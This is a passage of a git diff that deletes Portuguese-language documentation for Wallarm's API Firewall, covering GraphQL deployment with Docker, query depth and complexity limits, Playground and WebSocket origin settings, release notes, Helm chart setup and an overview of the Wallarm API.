APIFW_GRAPHQL_MAX_QUERY_COMPLEXITY: - APIFW_GRAPHQL_MAX_QUERY_DEPTH: - APIFW_GRAPHQL_NODE_COUNT_LIMIT: - APIFW_GRAPHQL_INTROSPECTION: - ports: - - "8088:8088" - stop_grace_period: 1s - networks: - - api-firewall-network - backend: - container_name: api-firewall-backend - image: - restart: on-failure - ports: - - : - stop_grace_period: 1s - networks: - - api-firewall-network -``` - -## Passo 2. Configure a rede Docker - -Se necessário, altere a configuração da [rede Docker](https://docs.docker.com/network/) definida em **docker-compose.yml** → `networks`. - -O **docker-compose.yml** fornecido instrui o Docker a criar a rede `api-firewall-network` e vincular os contêineres de aplicativos e Firewall de API a ela. - -É recomendado usar uma rede Docker separada para o aplicativo protegido em contêiner e o Firewall de API para permitir sua comunicação sem vinculação manual. - -## Passo 3. Configure o aplicativo a ser protegido com o Firewall de API - -Altere a configuração do aplicativo em contêiner a ser protegido com o Firewall de API. Essa configuração é definida em **docker-compose.yml** → `services.backend`. - -O modelo instrui o Docker a inicializar o contêiner do aplicativo Docker especificado, conectando-o à `api-firewall-network` e designando o `backend` como [alias de rede](https://docs.docker.com/config/containers/container-networking/#ip-address-and-hostname). Você pode definir a porta conforme suas necessidades. - -Ao configurar seu aplicativo, inclua apenas as configurações necessárias para uma inicialização bem-sucedida do contêiner. Nenhuma configuração especial do Firewall de API é necessária. - -## Passo 4. Configure o Firewall de API - -Passe a configuração do Firewall de API em **docker-compose.yml** → `services.api-firewall` da seguinte maneira: - -**Com `services.api-firewall.volumes`**, monte a [especificação GraphQL](http://spec.graphql.org/October2021/) no diretório do contêiner do Firewall de API: - -* ``: o caminho para a especificação GraphQL para sua API localizada na máquina host. O formato do arquivo não importa, mas geralmente é `.graphql` ou `gql`. Por exemplo: `/opt/my-api/graphql/schema.graphql`. -* ``: o caminho para o diretório do contêiner para montar a especificação GraphQL. Por exemplo: `/api-firewall/resources/schema.graphql`. - -**Com `services.api-firewall.environment`**, defina a configuração geral do Firewall de API através das seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | Obrigatório? | -| -------------------- | ----------- | --------- | -| `APIFW_MODE` | Define o modo geral do Firewall de API. Os valores possíveis são [`PROXY`](../docker-container.md) (padrão), `graphql` e [`API`](../api-mode.md). | Não | -| `APIFW_GRAPHQL_SCHEMA` | Caminho para o arquivo de especificação GraphQL montado no contêiner, por exemplo: `/api-firewall/resources/schema.graphql`. | Sim | -| `APIFW_URL` | URL para o Firewall de API. Por exemplo: `http://0.0.0.0:8088/`. O valor da porta deve corresponder à porta do contêiner publicada no host.

            Se o Firewall de API ouvir o protocolo HTTPS, monte o certificado SSL/TLS gerado e a chave privada no contêiner e passe para o contêiner as **configurações de SSL/TLS do Firewall de API** descritas abaixo. | Sim | -| `APIFW_SERVER_URL` | URL do aplicativo descrito na especificação montada que deve ser protegida com o Firewall de API. Por exemplo: `http://backend:80`. | Sim | -| `APIFW_GRAPHQL_REQUEST_VALIDATION` | Modo do Firewall de API ao validar solicitações enviadas para a URL do aplicativo:
            • `BLOCK` bloqueia e registra solicitações que não correspondem ao esquema GraphQL montado, retornando um `403 Forbidden`. Os logs são enviados para os [serviços `STDOUT` e `STDERR` do Docker](https://docs.docker.com/config/containers/logging/).
            • `LOG_ONLY` registra (mas não bloqueia) solicitações incompatíveis.
            • `DISABLE` desativa a validação da solicitação.
            Esta variável impacta todos os outros parâmetros, exceto [`APIFW_GRAPHQL_WS_CHECK_ORIGIN`](websocket-origin-check.md). Por exemplo, se `APIFW_GRAPHQL_INTROSPECTION` for `false` e o modo for `LOG_ONLY`, as solicitações de introspecção chegarão ao servidor de backend, mas o Firewall de API gerará um log de erro correspondente. | Sim | -| `APIFW_GRAPHQL_MAX_QUERY_COMPLEXITY` | [Define](limit-compliance.md) o número máximo de solicitações Node que podem ser necessárias para executar a consulta. Definir como `0` desativa a verificação de complexidade. O valor padrão é `0`. | Sim | -| `APIFW_GRAPHQL_MAX_QUERY_DEPTH` | [Especifica](limit-compliance.md) a profundidade máxima permitida de uma consulta GraphQL. Um valor de `0` significa que a verificação da profundidade da consulta é ignorada. | Sim | -| `APIFW_GRAPHQL_NODE_COUNT_LIMIT` | [Define](limit-compliance.md) o limite superior para a contagem de nós em uma consulta. Quando definido como `0`, a verificação do limite de contagem de nós é ignorada. | Sim | -| `APIFW_GRAPHQL_INTROSPECTION` | Permite consultas de introspecção, que revelam o layout do seu esquema GraphQL. Quando definido como `true`, essas consultas são permitidas. | Sim | -| `APIFW_LOG_LEVEL` | Nível de registro do Firewall de API. Valores possíveis:
            • `DEBUG` para registrar eventos de qualquer tipo (INFO, ERROR, WARNING e DEBUG).
            • `INFO` para registrar eventos dos tipos INFO, WARNING e ERROR.
            • `WARNING` para registrar eventos dos tipos WARNING e ERROR.
            • `ERROR` para registrar apenas eventos do tipo ERROR.
            • `TRACE` para registrar solicitações recebidas e respostas do Firewall de API, incluindo seu conteúdo.
            O valor padrão é `DEBUG`. Logs sobre solicitações e respostas que não correspondem ao esquema fornecido são do tipo ERROR. | Não | -| `APIFW_SERVER_DELETE_ACCEPT_ENCODING` | Se for definido como `true`, o cabeçalho `Accept-Encoding` é excluído das solicitações proxy. O valor padrão é `false`. | Não | -| `APIFW_LOG_FORMAT` | O formato dos logs do Firewall de API. O valor pode ser `TEXT` ou `JSON`. O valor padrão é `TEXT`. | Não | - -**Com `services.api-firewall.ports` e `services.api-firewall.networks`**, defina a porta do contêiner do Firewall de API e conecte o contêiner à rede criada. - -## Passo 5. Implante o ambiente configurado - -Para construir e iniciar o ambiente configurado, execute o seguinte comando: - -```bash -docker-compose up -d --force-recreate -``` - -Para verificar a saída do log: - -```bash -docker-compose logs -f -``` - -## Passo 6. Teste a operação do Firewall de API - -Para testar a operação do Firewall de API, envie a solicitação que não corresponde à especificação GraphQL montada para o endereço do contêiner Docker do Firewall de API. - -Com `APIFW_GRAPHQL_REQUEST_VALIDATION` definido como `BLOCK`, o firewall funciona da seguinte maneira: - -* Se o Firewall de API permitir a solicitação, ele fará proxy da solicitação para o servidor backend. -* Se o Firewall de API não puder analisar a solicitação, ele responderá com o erro GraphQL com um código de status 500. -* Se a validação falhar pelo Firewall de API, ele não fará proxy da solicitação para o servidor backend, mas responderá ao cliente com o código de status 200 e o erro GraphQL na resposta. - -Se a solicitação não corresponder ao esquema de API fornecido, a mensagem de ERRO apropriada será adicionada aos logs do contêiner Docker do Firewall de API, por exemplo, no formato JSON: - -```json -{ - "errors": [ - { - "message": "field: name not defined on type: Query", - "path": [ - "query", - "name" - ] - } - ] -} -``` - -Nos cenários em que vários campos na solicitação são inválidos, apenas uma mensagem de erro será gerada. - -## Passo 7. Ative o tráfego no Firewall de API - -Para finalizar a configuração do Firewall de API, habilite o tráfego de entrada no Firewall de API atualizando a configuração do esquema de implantação do seu aplicativo. Por exemplo, isso exigiria a atualização das configurações do Ingress, NGINX ou balanceador de carga. - -## Parando o ambiente implantado - -Para parar o ambiente implantado usando Docker Compose, execute o seguinte comando: - -```bash -docker-compose down -``` - -## Usando `docker run` para iniciar o Firewall de API - -Para iniciar o Firewall de API no Docker, você também pode usar comandos regulares do Docker, conforme os exemplos abaixo: - -1. [Para criar uma rede Docker separada](#step-2-configure-the-docker-network) para permitir a comunicação do aplicativo em contêiner e do Firewall de API sem vinculação manual: - - ```bash - docker network create api-firewall-network - ``` -2. [Inicie o aplicativo em contêiner](#step-3-configure-the-application-to-be-protected-with-api-firewall) a ser protegido com o Firewall de API: - - ```bash - docker run --rm -it --network api-firewall-network \ - --network-alias backend -p : - ``` -3. [Para iniciar o Firewall de API](#step-4-configure-api-firewall): - - ```bash - docker run --rm -it --network api-firewall-network --network-alias api-firewall \ - -v : -e APIFW_MODE=graphql \ - -e APIFW_GRAPHQL_SCHEMA= -e APIFW_URL= \ - -e APIFW_SERVER_URL= -e APIFW_GRAPHQL_REQUEST_VALIDATION= \ - -e APIFW_GRAPHQL_MAX_QUERY_COMPLEXITY= \ - -e APIFW_GRAPHQL_MAX_QUERY_DEPTH= -e APIFW_GRAPHQL_NODE_COUNT_LIMIT= \ - -e APIFW_GRAPHQL_INTROSPECTION= \ - -p 8088:8088 wallarm/api-firewall:v0.6.13 - ``` -4. Quando o ambiente estiver iniciado, teste-o e habilite o tráfego no Firewall de API seguindo os passos 6 e 7. \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/limit-compliance.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/limit-compliance.md deleted file mode 100644 index cadd2bf125..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/limit-compliance.md +++ /dev/null @@ -1,288 +0,0 @@ -# Conformidade com limites GraphQL - -Você pode configurar o Firewall de API para validar consultas GraphQL de entrada contra restrições de consulta predefinidas. Ao aderir a esses limites, você pode proteger sua API GraphQL de consultas maliciosas, incluindo potenciais ataques DoS. Este guia explica como o firewall calcula atributos de consulta como solicitações de nó, profundidade de consulta e complexidade antes de alinhá-los com seus parâmetros definidos. - -Ao [executar](docker-container.md) o contêiner Docker Firewall de API para uma API GraphQL, você define limites usando as seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_GRAPHQL_MAX_QUERY_COMPLEXITY` | Define o número máximo de solicitações de nó que podem ser necessárias para executar a consulta. Definir como `0` desativa a verificação de complexidade. | -| `APIFW_GRAPHQL_MAX_QUERY_DEPTH` | Especifica a profundidade máxima permitida de uma consulta GraphQL. Um valor de `0` significa que a verificação da profundidade da consulta é ignorada. | -| `APIFW_GRAPHQL_NODE_COUNT_LIMIT` | Define o limite superior para a contagem de nós em uma consulta. Quando definido como `0`, a verificação do limite de contagem de nó é ignorada. | - -## Como o cálculo do limite funciona - -O Firewall de API utiliza a biblioteca [wundergraph/graphql-go-tools](https://github.com/wundergraph/graphql-go-tools), que adota algoritmos semelhantes aos utilizados pelo GitHub para calcular a complexidade da consulta GraphQL. Central para isso é a função `OperationComplexityEstimator`, que processa uma definição de esquema e uma consulta, examinando iterativamente a consulta para obter tanto sua complexidade como profundidade. - - Você pode ajustar este cálculo integrando argumentos inteiros em campos que significam o número de nós que um campo retorna: - -* `diretiva @nodeCountMultiply em DEFINIÇÃO DE ARGUMENTO` - - Indica que o valor Int ao qual a diretiva é aplicada deve ser utilizado como um multiplicador de nó. -* `diretiva @nodeCountSkip em CAMPO` - Indica que o algoritmo deve ignorar esse Nó. Isso é útil para permitir determinados caminhos de consulta, por exemplo, para introspecção. - -Para documentos com várias consultas, a complexidade, profundidade e contagem de nós calculadas se aplicam a todo o documento, não apenas à única consulta sendo executada. - -## Exemplos de cálculos - -Abaixo, há alguns exemplos que oferecerão uma perspectiva mais clara sobre os cálculos. Eles são baseados no seguinte esquema GraphQL: - -``` -type User { - name: String! - messages(first: Int! @nodeCountMultiply): [Message] -} - -type Message { - id: ID! - text: String! - createdBy: String! - createdAt: Time! -} - -type Query { - __schema: __Schema! @nodeCountSkip - users(first: Int! @nodeCountMultiply): [User] - messages(first: Int! @nodeCountMultiply): [Message] -} - -type Mutation { - post(text: String!, username: String!, roomName: String!): Message! -} - -type Subscription { - messageAdded(roomName: String!): Message! -} - -scalar Time - -directive @nodeCountMultiply on ARGUMENT_DEFINITION -directive @nodeCountSkip on FIELD -``` - -A profundidade sempre representa os níveis de aninhamento dos campos. Por exemplo, a consulta abaixo tem uma profundidade de 3: - -``` -{ - a { - b { - c - } - } -} -``` - -### Exemplo 1 - -``` -query { - users(first: 10) { - name - messages(first:100) { - id - text - } - } -} -``` - -* ContagemDeNó = {int} 1010 - - ``` - Contagem de Nó = 10 [users(first: 10)] + 10*100 [messages(first:100)] = 1010 - ``` - -* Complexidade = {int} 11 - - ``` - Complexidade = 1 [users(first: 10)] + 10 [messages(first:100)] = 11 - ``` - -* Profundidade = {int} 3 - -### Exemplo 2 - -``` -query { - users(first: 10) { - name - } -} -``` - -* ContagemDeNó = {int} 10 - - ``` - Contagem de Nó = 10 [users(first: 10)] = 10 - ``` - -* Complexidade = {int} 1 - - ``` - Complexidade = 1 [users(first: 10)] = 1 - ``` -* Profundidade = {int} 2 - -### Exemplo 3 - -``` -query { - message(id:1) { - id - text - } -} -``` - -* ContagemDeNó = {int} 1 - - ``` - Contagem de Nó = 1 [message(id:1)] = 1 - ``` - -* Complexidade = {int} 1 - - ``` - Complexidade = 1 [messages(first:1)] = 1 - ``` - -* Profundidade = {int} 2 - -### Exemplo 4 - -``` -query { - users(first: 10) { - name - messages(first:1) { - id - text - } - } -} -``` - -* ContagemDeNó = {int} 20 - - ``` - Contagem de Nó = 10 [users(first: 10)] + 10*1 [messages(first:1)] = 20 - ``` - -* Complexidade = {int} 11 - - ``` - Complexidade = 1 [users(first: 10)] + 10 [messages(first:1)] = 11 - ``` - -* Profundidade = {int} 3 - -### Exemplo 5 (consulta de introspecção) - -``` -query IntrospectionQuery { - __schema { - queryType { - name - } - mutationType { - name - } - subscriptionType { - name - } - types { - ...FullType - } - directives { - name - description - locations - args { - ...InputValue - } - } - } -} - -fragment FullType on __Type { - kind - name - description - fields(includeDeprecated: true) { - name - description - args { - ...InputValue - } - type { - ...TypeRef - } - isDeprecated - deprecationReason - } - inputFields { - ...InputValue - } - interfaces { - ...TypeRef - } - enumValues(includeDeprecated: true) { - name - description - isDeprecated - deprecationReason - } - possibleTypes { - ...TypeRef - } -} - -fragment InputValue on __InputValue { - name - description - type { - ...TypeRef - } - defaultValue -} - -fragment TypeRef on __Type { - kind - name - ofType { - kind - name - ofType { - kind - name - ofType { - kind - name - ofType { - kind - name - ofType { - kind - name - ofType { - kind - name - ofType { - kind - name - } - } - } - } - } - } - } -} -``` - -* ContagemDeNó = {int} 0 -* Complexidade = {int} 0 -* Profundidade = {int} 0 - -Como a diretiva `__schema: __Schema! @nodeCountSkip` está presente no esquema, a contagem de Nó, a Complexidade e a Profundidade calculadas são todas 0. \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/playground.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/playground.md deleted file mode 100644 index 220f6c2c60..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/playground.md +++ /dev/null @@ -1,19 +0,0 @@ -# GraphQL Playground no API Firewall - -O Wallarm API Firewall equipa os desenvolvedores com o [GraphQL Playground](https://github.com/graphql/graphql-playground). Este guia explica como executar o playground. - -O GraphQL Playground é um ambiente de desenvolvimento integrado (IDE) em navegador especificamente para GraphQL. Ele é projetado como uma plataforma visual onde os desenvolvedores podem, sem esforço, escrever, examinar e mergulhar nas inúmeras possibilidades de consultas, mutações e assinaturas do GraphQL. - -O playground busca automaticamente o esquema da URL definida em `APIFW_SERVER_URL`. Essa ação é uma consulta de introspecção que revela o esquema GraphQL. Portanto, é necessário garantir que a variável `APIFW_GRAPHQL_INTROSPECTION` esteja definida como `true`. Fazer isso permite esse processo, evitando possíveis erros nos logs do API Firewall. - -Para ativar o Playground no API Firewall, você precisa usar as seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_GRAPHQL_INTROSPECTION` | Permite consultas de introspecção, que revelam a estrutura do seu esquema GraphQL. Certifique-se de que esta variável esteja definida como `true`. | -| `APIFW_GRAPHQL_PLAYGROUND` | Alterna o recurso do playground. Por padrão, ele está definido como `false`. Para habilitar, mude para `true`. | -| `APIFW_GRAPHQL_PLAYGROUND_PATH` | Designa o caminho onde o playground estará disponível. Por padrão, ele é o caminho raiz `/`. | - -Uma vez configurado, você pode acessar a interface do playground a partir do caminho designado em seu navegador: - -![Playground](https://github.com/wallarm/api-firewall/blob/main/images/graphql-playground.png?raw=true) \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/websocket-origin-check.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/websocket-origin-check.md deleted file mode 100644 index f79069a8e0..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/installation-guides/graphql/websocket-origin-check.md +++ /dev/null @@ -1,12 +0,0 @@ -# Validação de Origem WebSocket - -Quando um navegador inicia uma conexão WebSocket, ele inclui automaticamente um cabeçalho `Origin` que indica o domínio de origem da solicitação. Com o Wallarm API Firewall, você pode garantir que o valor do cabeçalho `Origin` corresponde à sua lista predefinida durante a fase de atualização da conexão WebSocket. Este artigo descreve os passos para habilitar a validação `Origin` para [consultas GraphQL](docker-container.md). - -Por padrão, o recurso de validação de origem WebSocket está desativado. Para ativá-lo, configure as seguintes variáveis de ambiente: - -| Variável de ambiente | Descrição | -| -------------------- | ----------- | -| `APIFW_GRAPHQL_WS_CHECK_ORIGIN` | Habilita a validação do cabeçalho `Origin` durante a fase de atualização do WebSocket. Padrão: `false`. | -| `APIFW_GRAPHQL_WS_ORIGIN` (necessário se `APIFW_GRAPHQL_WS_CHECK_ORIGIN` for `true`) | A lista de origens permitidas para conexões WebSocket. As origens são separadas por `;`. | - -A variável `APIFW_GRAPHQL_WS_CHECK_ORIGIN` opera independentemente de [`APIFW_GRAPHQL_REQUEST_VALIDATION`](docker-container.md#apifw-graphql-request-validation). Solicitações WebSocket com cabeçalhos `Origin` incorretos serão bloqueadas, independentemente do modo de validação de solicitação. \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/docs/release-notes.md b/docs/latest-pt-BR/api-firewall/api-firewall/docs/release-notes.md deleted file mode 100644 index 899953ec78..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/docs/release-notes.md +++ /dev/null @@ -1,99 +0,0 @@ -# Registro de Mudanças do API Firewall - -Esta página descreve novas versões do API Firewall da Wallarm. - -## v0.6.13 (2023-09-08) - -* [Suporte para validação de solicitações de API GraphQL](installation-guides/graphql/docker-container.md) - -## v0.6.12 (2023-08-04) - -* Capacidade de definir o modo geral do API Firewall usando a variável de ambiente `APIFW_MODE`. O valor padrão é `PROXY`. Quando definido para API, você pode [validar solicitações de API individuais com base em uma especificação OpenAPI fornecida sem mais proxy](installation-guides/api-mode.md). -* Introduziu a capacidade de permitir solicitações `OPTIONS` para endpoints especificados no OpenAPI, mesmo que o método `OPTIONS` não seja explicitamente definido. Isso pode ser alcançado usando a variável `APIFW_PASS_OPTIONS`. O valor padrão é `false`. -* Introduziu um recurso que permite controlar se as solicitações devem ser identificadas como não correspondendo à especificação se seus parâmetros não estiverem alinhados com os descritos na especificação OpenAPI. Está definido como `true` por padrão. - - Isso pode ser controlado por meio da variável `APIFW_SHADOW_API_UNKNOWN_PARAMETERS_DETECTION` no modo `PROXY` e por meio da variável `APIFW_API_MODE_UNKNOWN_PARAMETERS_DETECTION` no modo `API`. -* O novo modo de nível de log `TRACE` para registrar solicitações recebidas e respostas do API Firewall, incluindo seu conteúdo. Este nível pode ser definido usando a variável de ambiente `APIFW_LOG_LEVEL`. -* Atualizações de dependências -* Correção de erros - -## v0.6.11 (2023-02-10) - -* Adicione a variável de ambiente `APIFW_SERVER_DELETE_ACCEPT_ENCODING`. Se estiver definido como `true`, o cabeçalho `Accept-Encoding` é excluído das solicitações com proxy. O valor padrão é `false`. -* https://github.com/wallarm/api-firewall/issues/56 -* https://github.com/wallarm/api-firewall/issues/57 -* Adicione descompressão para o corpo da solicitação e o corpo da resposta - -## v0.6.10 (2022-12-15) - -* https://github.com/wallarm/api-firewall/issues/54 -* Atualizar dependências - -## v0.6.9 (2022-09-12) - -* Atualização do Go para 1.19 -* Atualizar outras dependências -* Corrigir bugs da detecção de API Shadow e processamento de denylist -* Excluir o cabeçalho `Apifw-Request-Id` das respostas retornadas pelo API Firewall -* Adicione compatibilidade do objeto Ingress com o Kubernetes 1.22 -* Encerre o registro de solicitações de entrada correspondentes à especificação da API no nível de log INFO - -## v0.6.8 (2022-04-11) - -### Novos recursos - -* Capacidade de especificar o endereço URL da especificação OpenAPI 3.0 em vez de montar o arquivo de especificação no contêiner Docker (por meio da variável de ambiente [`APIFW_API_SPECS`](installation-guides/docker-container.md#apifw-api-specs)). -* Capacidade de usar o cabeçalho `Content-Type` personalizado ao enviar solicitações para o serviço de introspecção de token (por meio da variável de ambiente [`APIFW_SERVER_OAUTH_INTROSPECTION_CONTENT_TYPE`](configuration-guides/validate-tokens.md)). -* [Suporte para a denylists de tokens de autenticação](configuration-guides/denylist-leaked-tokens.md). - -## v0.6.7 (2022-01-25) - -O API Firewall da Wallarm agora é de código aberto. Existem as seguintes alterações relacionadas nesta [versão](https://github.com/wallarm/api-firewall/releases/tag/v0.6.7): - -* O código fonte do API Firewall e a licença de código aberto relacionada são publicados -* Fluxo de trabalho do GitHub para construção de binário, gráfico Helm e imagem Docker é implementado - -## v0.6.6 (2021-12-09) - -### Novos recursos - -* Suporte para [validação de token OAuth 2.0](configuration-guides/validate-tokens.md). -* [Conexão](configuration-guides/ssl-tls.md) aos servidores assinados com os certificados CA personalizados e suporte para a flag de conexão insegura. - -### Correções de erros - -* https://github.com/wallarm/api-firewall/issues/27 - -## v0.6.5 (2021-10-12) - -### Novos recursos - -* Configuração do número máximo de clientes fasthttp (por meio da variável de ambiente `APIFW_SERVER_CLIENT_POOL_CAPACITY`). -* Verificação de saúde na porta 9667 do contêiner API Firewall (a porta pode ser alterada por meio da variável de ambiente `APIFW_HEALTH_HOST`). - -[Instruções sobre a execução do API Firewall com novas variáveis de ambiente](installation-guides/docker-container.md) - -### Correções de erros - -* https://github.com/wallarm/api-firewall/issues/15 -* Alguns outros bugs - -## v0.6.4 (2021-08-18) - -### Novos recursos - -* Adicionada monitoramento para endpoints de API Shadow. O API Firewall funcionando no modo `LOG_ONLY` para ambas as solicitações e respostas marca todos os endpoints que não estão incluídos na especificação e que estão retornando o código diferente de `404` como sombra. Você pode excluir códigos de resposta indicando endpoints sombra usando a variável de ambiente `APIFW_SHADOW_API_EXCLUDE_LIST`. -* Configuração do código de status de resposta HTTP retornado pelo API Firewall para solicitações bloqueadas (por meio da variável de ambiente `APIFW_CUSTOM_BLOCK_STATUS_CODE`). -* Capacidade de retornar o cabeçalho contendo o motivo do bloqueio da solicitação (por meio da variável de ambiente `APIFW_ADD_VALIDATION_STATUS_HEADER`). Este recurso é **experimental**. -* Configuração do formato de log do API Firewall (por meio da variável de ambiente `APIFW_LOG_FORMAT`). - -[Instruções sobre a execução do API Firewall com novas variáveis de ambiente](installation-guides/docker-container.md) - -### Otimizações - -* Validação otimizada da especificação OpenAPI 3.0 devido ao parser `fastjson` adicionado. -* Adicionado suporte para fasthttp. - -## v0.6.2 (2021-06-22) - -* O primeiro lançamento! \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.ja.md b/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.ja.md deleted file mode 100644 index cae259ee53..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.ja.md +++ /dev/null @@ -1,33 +0,0 @@ -# Gráfico Helm para o Wallarm API Firewall - -Este gráfico inicializa o deployment do Wallarm API Firewall em um cluster do [Kubernetes](http://kubernetes.io/) usando o gerenciador de pacotes [Helm](https://helm.sh/). - -Este gráfico ainda não foi carregado no registro público do Helm. Para o deployment do gráfico Helm, use este repositório. - -## Pré-requisitos - -* Kubernetes 1.16 ou superior -* Helm 2.16 ou superior - -## Deployment - -Para efetuar o deployment do gráfico Helm do Wallarm API Firewall: - -1. Se ainda não adicionou, adicione o repositório: - -```bash -helm repo add wallarm https://charts.wallarm.com -``` - -2. Obtenha a versão mais recente do gráfico helm: - -```bash -helm fetch wallarm/api-firewall -tar -xf api-firewall*.tgz -``` - -3. De acordo com os comentários do código, mude o arquivo `api-firewall/values.yaml` para configurar o gráfico. - -4. Efetue o deployment do Wallarm API Firewall a partir deste gráfico Helm. - -Se quiser verificar um exemplo de deployment deste gráfico Helm, você pode executar nossa [demonstração Kuberentes](https://github.com/wallarm/api-firewall/tree/main/demo/kubernetes). \ No newline at end of file diff --git a/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.md b/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.md deleted file mode 100644 index 2228ddc61e..0000000000 --- a/docs/latest-pt-BR/api-firewall/api-firewall/helm/api-firewall/README.md +++ /dev/null @@ -1,33 +0,0 @@ -# Gráfico Helm para Wallarm API Firewall - -Este gráfico inicializa a implantação do Wallarm API Firewall em um cluster [Kubernetes](http://kubernetes.io/) usando o gerenciador de pacotes [Helm](https://helm.sh/). - -Este gráfico ainda não foi carregado em nenhum registro público do Helm. Para implantar o gráfico do Helm, use este repositório. - -## Requisitos - -* Kubernetes 1.16 ou posterior -* Helm 2.16 ou posterior - -## Implantação - -Para implantar o gráfico Helm do Wallarm API Firewall: - -1. Adicione nosso repositório, caso ainda não tenha feito: - -```bash -helm repo add wallarm https://charts.wallarm.com -``` - -2. Recupere a última versão do gráfico helm: - -```bash -helm fetch wallarm/api-firewall -tar -xf api-firewall*.tgz -``` - -3. Configure o gráfico alterando o arquivo `api-firewall/values.yaml` seguindo os comentários do código. - -4. Implantar o Wallarm API Firewall a partir deste gráfico Helm. - -Para ver o exemplo desta implantação do gráfico Helm, você pode executar nossa [demonstração Kuberentes](https://github.com/wallarm/api-firewall/tree/main/demo/kubernetes). \ No newline at end of file diff --git a/docs/latest-pt-BR/api-protection/business-logic-abuse-detection.md b/docs/latest-pt-BR/api-protection/business-logic-abuse-detection.md deleted file mode 100644 index 06d98b40c5..0000000000 --- a/docs/latest-pt-BR/api-protection/business-logic-abuse-detection.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/business-logic-abuse-detection.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-protection/file-upload-restriction.md b/docs/latest-pt-BR/api-protection/file-upload-restriction.md deleted file mode 100644 index e9e8289c9e..0000000000 --- a/docs/latest-pt-BR/api-protection/file-upload-restriction.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-protection/file-upload-restriction.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-sessions/blocking.md b/docs/latest-pt-BR/api-sessions/blocking.md deleted file mode 100644 index 2fbb34aaed..0000000000 --- a/docs/latest-pt-BR/api-sessions/blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/blocking.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-sessions/exploring.md b/docs/latest-pt-BR/api-sessions/exploring.md deleted file mode 100644 index 2f24a7e79c..0000000000 --- a/docs/latest-pt-BR/api-sessions/exploring.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/exploring.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-sessions/overview.md b/docs/latest-pt-BR/api-sessions/overview.md deleted file mode 100644 index f2cd7a73dc..0000000000 --- a/docs/latest-pt-BR/api-sessions/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/overview.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api-sessions/setup.md b/docs/latest-pt-BR/api-sessions/setup.md deleted file mode 100644 index 04c454b444..0000000000 --- a/docs/latest-pt-BR/api-sessions/setup.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/api-sessions/setup.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/api/overview.md b/docs/latest-pt-BR/api/overview.md deleted file mode 100644 index b7a08178e8..0000000000 --- a/docs/latest-pt-BR/api/overview.md +++ /dev/null @@ -1,68 +0,0 @@ -[user-roles-article]: ../user-guides/settings/users.md#user-roles -[img-api-tokens-edit]: ../images/api-tokens-edit.png - -# Visão geral da API Wallarm - -A API Wallarm fornece a interação entre os componentes do sistema Wallarm. Você pode usar os métodos da API Wallarm para criar, obter ou atualizar as seguintes instâncias: - -* vulnerabilidades -* ataques -* incidentes -* usuários -* clientes -* nós de filtro -* etc. - -A descrição dos métodos da API é fornecida no **Console da API Wallarm** disponível no Console Wallarm → canto superior direito → `?` → **Console da API Wallarm** ou diretamente por este link: - -* https://apiconsole.us1.wallarm.com/ para o [US cloud](../about-wallarm/overview.md#us-cloud) -* https://apiconsole.eu1.wallarm.com/ para a [EU cloud](../about-wallarm/overview.md#eu-cloud) - -![Console da API Wallarm](../images/wallarm-api-reference.png) - -## Ponto de extremidade da API - -As solicitações de API são enviadas para o seguinte URL: - -* `https://us1.api.wallarm.com/` para o [US cloud](../about-wallarm/overview.md#us-cloud) -* `https://api.wallarm.com/` para a [EU cloud](../about-wallarm/overview.md#eu-cloud) - -## Autenticação de solicitações de API - -Você deve ser um usuário verificado para fazer solicitações da API Wallarm. O método de autenticação de solicitações de API depende do cliente que envia a solicitação: - -* [Referência UI da API](#api-reference-ui) -* [Seu próprio cliente de API](#your-own-api-client) - -### Console da API Wallarm - -Um token é usado para autenticação do pedido. O token é gerado após a autenticação bem-sucedida na sua conta Wallarm. - -1. Faça login no seu Console Wallarm usando o link: - * https://us1.my.wallarm.com/ para a nuvem dos EUA - * https://my.wallarm.com/ para a nuvem da UE -2. Atualize a página do Console da API Wallarm usando o link: - * https://apiconsole.us1.wallarm.com/ para a nuvem dos EUA - * https://apiconsole.eu1.wallarm.com/ para a nuvem da UE -3. Vá até o método de API necessário → seção **Experimente**, insira os valores dos parâmetros e **Execute** a solicitação. - -### Seu próprio cliente de API - -Para autenticar solicitações do seu próprio cliente de API para a API Wallarm: - -1. Faça login na sua conta Wallarm na [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) → **Configurações** → **Tokens de API**. -1. [Crie](../user-guides/settings/api-tokens.md#configuring-tokens) um token para acessar 